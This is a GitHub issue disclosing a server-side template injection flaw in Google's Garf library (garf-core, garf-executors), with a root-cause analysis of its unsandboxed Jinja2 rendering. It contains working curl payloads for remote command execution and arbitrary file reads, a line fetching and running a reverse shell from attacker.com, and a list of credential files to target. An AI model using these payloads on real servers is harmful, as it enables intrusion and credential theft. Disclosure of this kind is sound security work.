Skip to content

Garf-executors: Jinja2 SSTI + FileSystemLoader - Arbitrary File Read + Unauthenticated Remote Code Execution #389

@ikkebr

Description

@ikkebr

I reported this vulnerability following the SECURITY link in the project and they told me to report this issue publicly on GitHub:

Vulnerability type: Remote Code Execution (RCE)

Details

Repository: https://github.com/google/garf
Affected packages: garf-core (PyPI), garf-executors (PyPI)
Version tested: garf-core 1.1.4, garf-executors 1.4.0
CWE: CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine)
Attack vector: Network (HTTP API), Local (crafted query files)


Summary

Garf is a Google library that lets users query APIs using SQL-like syntax. Every query submitted to Garf — whether via the HTTP API, CLI, or Python API — is rendered as a Jinja2 template without sandboxing before any SQL parsing occurs. This enables Server-Side Template Injection (SSTI), allowing an attacker to:

  1. Execute arbitrary Python code on the server via Jinja2 object introspection
  2. Read arbitrary files from the server filesystem via {% include %} with the FileSystemLoader that Garf activates

The HTTP API server (garf-executors) binds to 0.0.0.0:8000 by default with no authentication, making this remotely exploitable by anyone with network access.


Vulnerable Code

File: libs/core/garf/core/query_editor.py, lines 147–168

def expand_jinja(
  query_text: str, template_params: QueryParameters | None = None
) -> str:
  file_inclusions = ('% include', '% import', '% extend')
  if any(file_inclusion in query_text for file_inclusion in file_inclusions):
    # LINE 152: FileSystemLoader enables arbitrary file reads from disk
    template = jinja2.Environment(loader=jinja2.FileSystemLoader('.'))
    query = template.from_string(query_text)
  else:
    # LINE 155: Unsandboxed Jinja2 template — SSTI
    query = jinja2.Template(query_text)
  if not template_params:
    return query.render()
  # ... parameter handling ...
  return query.render(template_params)

Why this is vulnerable

  1. No sandbox: jinja2.Template() and jinja2.Environment() are used instead of jinja2.sandbox.SandboxedEnvironment. This means Jinja2 expressions like {{ ''.__class__.__mro__[1].__subclasses__() }} are evaluated, exposing the full Python runtime object graph.

  2. FileSystemLoader on attacker trigger: When the query text contains % include, % import, or % extend, Garf activates jinja2.FileSystemLoader('.'), which can read any file accessible from the server's current working directory. The attacker controls whether this branch is taken by simply including the trigger keyword in their query.

  3. Runs before SQL parsing: expand_jinja() is called at the very beginning of query processing at QuerySpecification.expand() before any SQL validation, filtering, or sanitization occurs. Every query goes through this path unconditionally.


Call Chain: HTTP Request → Code Execution

POST /api/execute  (server.py)
  ↓
execute() receives ApiExecutorRequest with user-supplied "query" string 
  ↓
query_executor.execute(request.query, ...) 
  ↓
QuerySpecification(text=query, ...).remove_comments().expand()  (executor.py)
  ↓
expand() calls expand_jinja(self.query.text, ...)  (query_editor.py)
  ↓
jinja2.Template(query_text).render()  (query_editor.py)
  ↓
Jinja2 evaluates attacker-controlled template expressions

Reproduction Steps (End-to-End)

Prerequisites

  • Python 3.10+ installed
  • pip available
  • Network access to the target (or localhost for testing)

Step 1: Install Garf packages

pip install garf-core garf-executors fastapi uvicorn opentelemetry.instrumentation.fastapi pydantic_settings python-multipart garf-executors[duckdb]

This installs garf-core (1.1.4), garf-executors (1.4.0), DuckDB (an
in-process SQL engine that needs no external database server), and pandas
(required by the DuckDB executor for result handling). The duckdb source is
the easiest to exploit because it requires no credentials or external services.

Step 2: Start the Garf server

python -m garf.executors.entrypoints.server

The server starts on 0.0.0.0:8000 by default (server.py L194–201):

INFO:     Uvicorn running on http://0.0.0.0:8000

This binds to all network interfaces with no authentication.

Step 3: Verify SSTI — Arithmetic evaluation

Save as payload.json:

{"source":"duckdb","query":"SELECT {{ 7 * 7 }} AS result","title":"test","context":{}}
curl -s -X POST http://localhost:8000/api/execute \
  -H "Content-Type: application/json" \
  -d @payload.json

Response:

{"results":[{"result":49}]}

The query SELECT {{ 7 * 7 }} AS result was rendered as SELECT 49 AS result
before reaching DuckDB. This confirms Jinja2 is evaluating attacker-controlled
expressions.

Step 4: Python introspection — Prove access to runtime objects

Save as payload.json:

{"source":"duckdb","query":"SELECT '{{ ().__class__.__bases__[0].__name__ }}' AS base_class","title":"test","context":{}}
curl -s -X POST http://localhost:8000/api/execute \
  -H "Content-Type: application/json" \
  -d @payload.json

Response:

{"results":[{"base_class":"object"}]}

The template accessed Python's object base class — proving full Python object
introspection is available to the attacker.

Step 5: Remote Code Execution — Execute shell commands

Save as payload.json:

{"source":"duckdb","query":"SELECT '{{ lipsum.__globals__[\"os\"].popen(\"whoami\").read().strip() }}' AS rce","title":"test","context":{}}
curl -s -X POST http://localhost:8000/api/execute \
  -H "Content-Type: application/json" \
  -d @payload.json

Response:

{"results":[{"rce":"domain\\henriqueg"}]}

The whoami command executed on the server and the output was returned in
the HTTP response.

How this works: lipsum is a Jinja2 built-in global. It's defined in
jinja2/utils.py, which imports os at module level. So
lipsum.__globals__["os"] gives direct access to the os module, and
.popen() executes arbitrary commands.

Replace whoami with any command:

  • id (Linux — show user/group)
  • cat /etc/shadow (read sensitive files)
  • curl attacker.com/shell.sh | sh (download and execute reverse shell)

By wrapping the SSTI expression in SQL single quotes, the rendered command output becomes a string literal that DuckDB returns as a query result.

Method B — cycler.__init__.__globals__["__builtins__"]["__import__"]:

cycler is another Jinja2 built-in. Its __init__.__globals__ exposes
__builtins__, which contains __import__, exec, eval, open, and all
Python built-in functions:

curl -s -X POST http://localhost:8000/api/execute \
  -H 'Content-Type: application/json' \
  -d '{
    "source": "duckdb",
    "query": "SELECT '\''{{ cycler.__init__.__globals__[\"__builtins__\"][\"__import__\"](\"os\").popen(\"whoami\").read().strip() }}'\'' AS rce",
    "title": "test",
    "context": {}
  }'

Verified output: {"results": [{"rce": "domain\\henriqueg"}]}

Both methods were tested and confirmed working against garf-core 1.1.4 on
Python 3.14.

Step 6: Arbitrary file read — Multiple techniques

Via __builtins__["open"] (no FileSystemLoader needed):

curl -s -X POST http://localhost:8000/api/execute \
  -H 'Content-Type: application/json' \
  -d '{
    "source": "duckdb",
    "query": "SELECT '\''{{ cycler.__init__.__globals__[\"__builtins__\"][\"open\"](\"/etc/passwd\").read() }}'\'' AS leaked",
    "title": "test",
    "context": {}
  }'

Via {% include %} (triggers FileSystemLoader):

curl -s -X POST http://localhost:8000/api/execute \
  -H 'Content-Type: application/json' \
  -d '{
    "source": "duckdb",
    "query": "{% include \"/etc/passwd\" %}",
    "title": "test",
    "context": {}
  }'

Verified output: File contents returned in response (tested with
C:\Windows\win.ini on Windows — returned ; for 16-bit app support...)

High-value targets for an attacker:

/root/.config/gcloud/application_default_credentials.json  (GCP credentials)
/proc/self/environ                                          (environment variables)
config.yaml                                                 (Garf API keys)
~/.ssh/id_rsa                                               (SSH private keys)

Attack scenario

Impact

Remote Code Execution (RCE)

An unauthenticated attacker with network access to a Garf server can execute
arbitrary commands on the host as the server process user. This enables:

  • Data exfiltration from the server and connected cloud accounts
  • Lateral movement using credentials found on the server (GCP service
    account keys, API tokens in Garf config files)
  • Persistent access by installing backdoors, SSH keys, or cron jobs
  • Supply chain attacks if Garf runs in CI/CD pipelines (a malicious .sql
    file in a repository would execute code when the pipeline processes it)

Arbitrary File Read

Even without achieving full RCE via os.popen, the __builtins__["open"] and
{% include %} paths allow reading any file the server process can access.

Attack Surface

The default server configuration maximizes exposure:

Setting Value Risk
Bind address 0.0.0.0 (server.py L198) Listens on all interfaces
Port 8000 (server.py L199) Standard HTTP port
Authentication None Any HTTP client can submit queries
TLS None Queries sent in cleartext

Root Cause Analysis

The vulnerability exists because Garf treats user-supplied query text as
trusted template code. The expand_jinja() function was designed to support
template variables in queries (e.g., {{ date_start }}), but uses Jinja2's
full, unsandboxed template engine rather than a restricted parameter
substitution mechanism.

The key insight is that Jinja2's default template namespace includes built-in
globals (lipsum, cycler, joiner, namespace) which are Python objects.
Through Python's introspection mechanisms (__globals__, __init__,
__builtins__), an attacker can traverse from these objects to the full Python
runtime, reaching os.popen(), __import__(), exec(), and open().

The FileSystemLoader branch (L150–153) was likely added to support query
composition (including reusable query fragments from files), but it provides
a second file-read primitive beyond the __builtins__["open"] path.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions